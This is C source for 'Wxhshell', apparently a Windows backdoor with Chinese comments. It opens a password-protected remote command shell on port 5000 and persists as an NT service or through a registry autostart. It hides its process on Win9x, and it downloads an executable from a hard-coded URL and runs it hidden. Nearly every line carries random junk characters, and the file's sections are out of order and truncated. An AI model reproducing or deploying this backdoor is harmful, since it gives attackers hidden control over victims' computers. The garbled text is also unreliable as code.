} PROCESS_BASIC_INFORMATION; im>/$!&OyI
`o_i+?E
PROCNTQSIP NtQueryInformationProcess; i]zh8|">
g0~m[[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ([JFX@
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3mE8tTA$R
#\F8(lZ
HANDLE hProcess; ]mJ9CP8P1c
PROCESS_BASIC_INFORMATION pbi; 5FJ%"5n&
!pa7]cZ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .}R'(gN\6
if(NULL == hInst ) return 0; qYqd -R
9%k4Ic%P
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !
,]Fx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Qmd2C&Xw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lh0G/8+C
t(,2x%{
if (!NtQueryInformationProcess) return 0; 3Qv9=q|[b
fm%4ab30T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,9:v2=C_
if(!hProcess) return 0; ctgH/SU
t- //.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zjc/GO
$ ga,$G
CloseHandle(hProcess); 2Sy:wt
oPAc6ObOV~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -uAGG?ZER
if(hProcess==NULL) return 0; M+=q"#&
' z^v}~
HMODULE hMod; ,=ju^_^sA
char procName[255]; Odt<WG
unsigned long cbNeeded; ]~m=b`o
m&*0<N
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); UBwYwm0
>Y3zO 2Cr
CloseHandle(hProcess); z1e+Ob&
Mv%B#J
if(strstr(procName,"services")) return 1; // 以服务启动 >]bS"S
dZJU>o'BG
return 0; // 注册表启动 48GaZ@v
} U$ZbBVa`~
@bFl8-
// 主模块 F>u/Lh!
int StartWxhshell(LPSTR lpCmdLine) '~6l
6wi
{ SZgan
SOCKET wsl; ^3&-!<*
BOOL val=TRUE; 0"@p|nAa
int port=0; .}tpEvAw}
struct sockaddr_in door; |Pse=_i
ijNI6_eU
if(wscfg.ws_autoins) Install(); A.P*@}9
YBk* CW9
port=atoi(lpCmdLine); uvD*]zX
WdrMp
if(port<=0) port=wscfg.ws_port; B8-Y)u1G
MIv,$
WSADATA data;
2IDn4<`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 61K:SXj
zt
)WX9
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vnsMh
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NjA\*M9
door.sin_family = AF_INET; s[*I210
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3V/|" R2s
door.sin_port = htons(port); y*sqnzgF
OdJ=4 x>
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DVbY
closesocket(wsl); ,Hc,]TPC4
return 1; ?7*J4.
} P$A'WEO'
|SsmVW$B|
if(listen(wsl,2) == INVALID_SOCKET) { CYk"
closesocket(wsl); ?rwHkPJ{*
return 1; H!g9~a
} 4kLTKm:G
Wxhshell(wsl); Uv3Fe%>
WSACleanup(); ~!dO2\X+
(7PVfS>;
return 0; %aJ8wYj*
LTio^uH
} y{qKb:~wv
qB=%8$J
// 以NT服务方式启动 NEMC
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h6gtO$A|p=
{ ]FO)U
DWORD status = 0; xHwcP2 1
DWORD specificError = 0xfffffff; A `=.F
{$-\)K
serviceStatus.dwServiceType = SERVICE_WIN32; _k5-Wd5Ypw
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }D#[yE,=\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q}7(w$&
serviceStatus.dwWin32ExitCode = 0; fL R.2vJ
serviceStatus.dwServiceSpecificExitCode = 0; U[l{cRT
serviceStatus.dwCheckPoint = 0; 7vsXfIP+
serviceStatus.dwWaitHint = 0; {cYbM[}U"
=^3B&qQNq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "C%* 'k
if (hServiceStatusHandle==0) return; fxX4 !r
kv/mqKVr
status = GetLastError(); A
v%'#1w<"
if (status!=NO_ERROR) h|&qWv
{ so\8.(7n
serviceStatus.dwCurrentState = SERVICE_STOPPED; xHdv?69,
serviceStatus.dwCheckPoint = 0; N%+ C5e<
serviceStatus.dwWaitHint = 0; [kg*BaG:
serviceStatus.dwWin32ExitCode = status; [U?a %$G>
serviceStatus.dwServiceSpecificExitCode = specificError; lF1ieg"i M
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0f|nI8,z
return; ig,v6lqhM
} $t$YdleIH
bG9$ &,
serviceStatus.dwCurrentState = SERVICE_RUNNING; `BZX\LPHm
serviceStatus.dwCheckPoint = 0; )SFyQ
serviceStatus.dwWaitHint = 0; oQ8If$a}
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); * d[sja+
} RjCEo4b-.H
79(Px2H2
// 处理NT服务事件,比如:启动、停止 f<~S0[H
VOID WINAPI NTServiceHandler(DWORD fdwControl) }>u<,
{ ~C2[5r{So
switch(fdwControl) 5U&?P
{ &8wluOs/5
case SERVICE_CONTROL_STOP: 3sq(FsT
serviceStatus.dwWin32ExitCode = 0; *6%r2l'kZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; '@+a]kCMev
serviceStatus.dwCheckPoint = 0; d#G H4+C
serviceStatus.dwWaitHint = 0; |yow(2(F@
{ 0xg6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e!~x-P5M`
} |#!P!p}
return; wNm~H
case SERVICE_CONTROL_PAUSE: T8rf+B/.L
serviceStatus.dwCurrentState = SERVICE_PAUSED; r6eApKZ>f6
break; ,t_Fo-i7vI
case SERVICE_CONTROL_CONTINUE: 0FD+iID
serviceStatus.dwCurrentState = SERVICE_RUNNING; WKPuIE:
break; c 7uryL
case SERVICE_CONTROL_INTERROGATE: A `n:q;my
break; kUG3_ *1
.
}; .!hB tR
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /?P="j#u
} YV0K&d
pI|H9
// 标准应用程序主函数 BWN[>H %S
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S7
Tem:/
{ (Q09$
FO5'<G-
// 获取操作系统版本 !EQMTF=(
OsIsNt=GetOsVer(); v(tr:[V
GetModuleFileName(NULL,ExeFile,MAX_PATH); h
.$3jNU
7&z`N^dz{
// 从命令行安装 "ewB4F[
if(strpbrk(lpCmdLine,"iI")) Install(); q9&d24|
^g56:j~?
// 下载执行文件 M%8:
if(wscfg.ws_downexe) { h0fbc;l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GM<r{6Qy
WinExec(wscfg.ws_filenam,SW_HIDE); &<sN(;%0R
} Q@lJ|
G}b LWA
if(!OsIsNt) { J<{@D9r9<~
// 如果时win9x,隐藏进程并且设置为注册表启动 M _z-~G
HideProc(); `o~9a N
StartWxhshell(lpCmdLine); mmj6YQ0a
} ES#K'Lf
else IuQY~!
if(StartFromService()) SrVJ Q~:>
// 以服务方式启动 `<L6Q2Y>j
StartServiceCtrlDispatcher(DispatchTable); {
+%S{=j
else 5'Fh_TXTD
// 普通方式启动 !Z6GID})p
StartWxhshell(lpCmdLine); -IB~lw
$fE$j {
return 0; A,T3%TE
} Sgt@G=_o
&<P!o_+eb
?*Kewj
#'-L`])7uw
=========================================== v5 yOh5
u&>o1!c*P
huau(s0um
^r<bi%@C$
rtz%(4aS
`" E |
" F_$ K+6
:hp=>^$Y
#include <stdio.h> W1s4[rL!Ht
#include <string.h> V}>0r+NL<
#include <windows.h> `~"l a>}
#include <winsock2.h> &zF1&J58z
#include <winsvc.h> 7
C5m#e3
#include <urlmon.h> ~pqp`
Z;_WU
#pragma comment (lib, "Ws2_32.lib") oh5fNx
#pragma comment (lib, "urlmon.lib") =B(zW.Gf
l#,WMu&
#define MAX_USER 100 // 最大客户端连接数 v|XEC[F
#define BUF_SOCK 200 // sock buffer #isBE}sT{
#define KEY_BUFF 255 // 输入 buffer * SG0-_S
10JxfDceD
#define REBOOT 0 // 重启 +x!V;H(
#define SHUTDOWN 1 // 关机 u=I>DEe@c
]~z2s;J{/
#define DEF_PORT 5000 // 监听端口 Z50]g
b
"4W`
A
#define REG_LEN 16 // 注册表键长度 SLc6]?
#define SVC_LEN 80 // NT服务名长度 'W~O?
}XiS:
// 从dll定义API J}coWjw`q
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D'>yu"
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1(Kd/%]{
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .!
LOhZ
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t`DoTb4
j"E_nV:Qc
// wxhshell配置信息 )ll`F7B-
struct WSCFG { h{]l?6`
int ws_port; // 监听端口 "YGs<)S
char ws_passstr[REG_LEN]; // 口令 /0 ,#c2aq
int ws_autoins; // 安装标记, 1=yes 0=no 33\{S$p
char ws_regname[REG_LEN]; // 注册表键名 +>oVc\$
char ws_svcname[REG_LEN]; // 服务名 B_[^<2_
char ws_svcdisp[SVC_LEN]; // 服务显示名 'Z-jj2t}
char ws_svcdesc[SVC_LEN]; // 服务描述信息 !V.'~xj
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S)GWr"m-
int ws_downexe; // 下载执行标记, 1=yes 0=no f4zd(J
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =@m|g )
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .h^."+TJ
+EcN[-~
}; Od'!v &
?0+D1w
// default Wxhshell configuration er}/~@JJ
struct WSCFG wscfg={DEF_PORT, Pe/cwKCI
"xuhuanlingzhe", ]7ROCJ;
1, u|\Lb2Kb:
"Wxhshell", _.Y?BAQ
"Wxhshell", Xb42R1
"WxhShell Service", abtAkf
"Wrsky Windows CmdShell Service", @R?S-*o
"Please Input Your Password: ", ocy fU=}X
1, X LPO_tD
"http://www.wrsky.com/wxhshell.exe", "!gd)^<e
"Wxhshell.exe" L&